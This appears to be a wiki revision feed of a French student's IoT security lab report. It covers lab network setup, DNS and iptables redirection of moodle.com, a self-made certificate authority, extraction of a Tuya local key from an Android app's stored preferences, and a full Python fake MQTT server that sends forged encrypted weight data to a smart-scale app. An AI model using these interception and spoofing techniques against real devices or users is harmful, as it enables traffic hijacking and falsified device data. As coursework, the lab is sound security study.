        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On cherche dans le fichier shared_prefs dans le /data/data/com.nedis.smartlife une clé local qui permettrai de chiffrer le message pour que nedis l'accepte.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
 emulator64_x86_64_arm64:/data/data/com.nedis.smartlife/shared_prefs # grep -r &amp;quot;localKey&amp;quot;&lt;br /&gt;
&lt;br /&gt;
./sig_mesh_storage.xml:    &amp;lt;string name=&amp;quot;sig_mesheu176237y8062605m7Ddzpr3a6d803edeb314f364c55d2caab540918&amp;quot;&amp;gt;[{&amp;amp;quot;appkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;code&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;endTime&amp;amp;quot;:0,&amp;amp;quot;ivIndex&amp;amp;quot;:0,&amp;amp;quot;key&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;localKey&amp;amp;quot;:&amp;amp;quot;674d29fb978a1705&amp;amp;quot;,&amp;amp;quot;meshId&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;meshKey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;meshkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;name&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;netWorkkey&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;password&amp;amp;quot;:&amp;amp;quot;fa1667ca872e46d4&amp;amp;quot;,&amp;amp;quot;pv&amp;amp;quot;:&amp;amp;quot;2.1&amp;amp;quot;,&amp;amp;quot;resptime&amp;amp;quot;:0,&amp;amp;quot;share&amp;amp;quot;:false,&amp;amp;quot;startTime&amp;amp;quot;:0,&amp;amp;quot;tempShare&amp;amp;quot;:false}]&amp;lt;/string&amp;gt; &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from Crypto.Util.Padding import pad&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIG =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
# 🔑 LOCAL KEY 16 caractères&lt;br /&gt;
LOCAL_KEY = b&amp;quot;674d29fb978a1705&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# DPS balance (poids correct pour Nedis)&lt;br /&gt;
DPS_POIDS = {&lt;br /&gt;
    &amp;quot;1&amp;quot;: 8050,   # 80.50 kg&lt;br /&gt;
    &amp;quot;2&amp;quot;: 1,      # stable&lt;br /&gt;
    &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
# =========================================&lt;br /&gt;
&lt;br /&gt;
# ---------- TUYA CRYPTO ----------&lt;br /&gt;
def tuya_encrypt(data: dict, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    raw = json.dumps(data, separators=(',', ':')).encode()&lt;br /&gt;
    cipher = AES.new(local_key, AES.MODE_ECB)&lt;br /&gt;
    encrypted = cipher.encrypt(pad(raw, 16))&lt;br /&gt;
    return base64.b64encode(encrypted).decode()&lt;br /&gt;
&lt;br /&gt;
def tuya_sign(enc_data: str, ts: int, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    s = f&amp;quot;data={enc_data}&amp;amp;t={ts}&amp;amp;key={local_key.decode()}&amp;quot;&lt;br /&gt;
    return hashlib.md5(s.encode()).hexdigest()&lt;br /&gt;
&lt;br /&gt;
def build_tuya_payload(dps: dict, device_id: str) -&amp;gt; dict:&lt;br /&gt;
    ts = int(time.time())&lt;br /&gt;
    enc = tuya_encrypt({&lt;br /&gt;
        &amp;quot;devId&amp;quot;: device_id,&lt;br /&gt;
        &amp;quot;dps&amp;quot;: dps&lt;br /&gt;
    }, LOCAL_KEY)&lt;br /&gt;
    sign = tuya_sign(enc, ts, LOCAL_KEY)&lt;br /&gt;
    return {&lt;br /&gt;
        &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
        &amp;quot;t&amp;quot;: ts,&lt;br /&gt;
        &amp;quot;data&amp;quot;: enc,&lt;br /&gt;
        &amp;quot;sign&amp;quot;: sign&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
def extract_device_id(topic: str) -&amp;gt; str:&lt;br /&gt;
    return topic.split(&amp;quot;/&amp;quot;)[-1]&lt;br /&gt;
&lt;br /&gt;
# ---------- MQTT UTILS ----------&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
# ---------- SERVER ----------&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS Tuya prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    published_topics = set()&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;✅ TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # -------- HANDLERS --------&lt;br /&gt;
                if pkt_type == 1:  # CONNECT&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)  # CONNACK OK&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 8:  # SUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, msg_id + b&amp;quot;\x01&amp;quot;))  # SUBACK QoS 1&lt;br /&gt;
&lt;br /&gt;
                    # Publication automatique&lt;br /&gt;
                    device_id = extract_device_id(topic)&lt;br /&gt;
                    tuya_payload = build_tuya_payload(DPS_POIDS, device_id)&lt;br /&gt;
                    json_payload = json.dumps(tuya_payload)&lt;br /&gt;
&lt;br /&gt;
                    topic_bytes = topic.encode()&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
                    print(&amp;quot;🚀 POIDS TUYA CHIFFRÉ ENVOYÉ&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 4:  # PUBACK&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; PUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 10:  # UNSUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    conn.send(create_mqtt_packet(11, 0x00, msg_id))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; UNSUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 12:  # PINGREQ&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;ℹ️ MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;❌ Erreur : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour autant, le poid n'est toujours pas visible dans l'application&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Application smart life : a1-eu.lifeaiot.com. m1-eu.lifeaiot.com. m1-eu.lifeaiot.com.&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10943</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10943"/>
		<updated>2025-12-16T16:37:23Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Envoi de fausses informations vers l'application */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
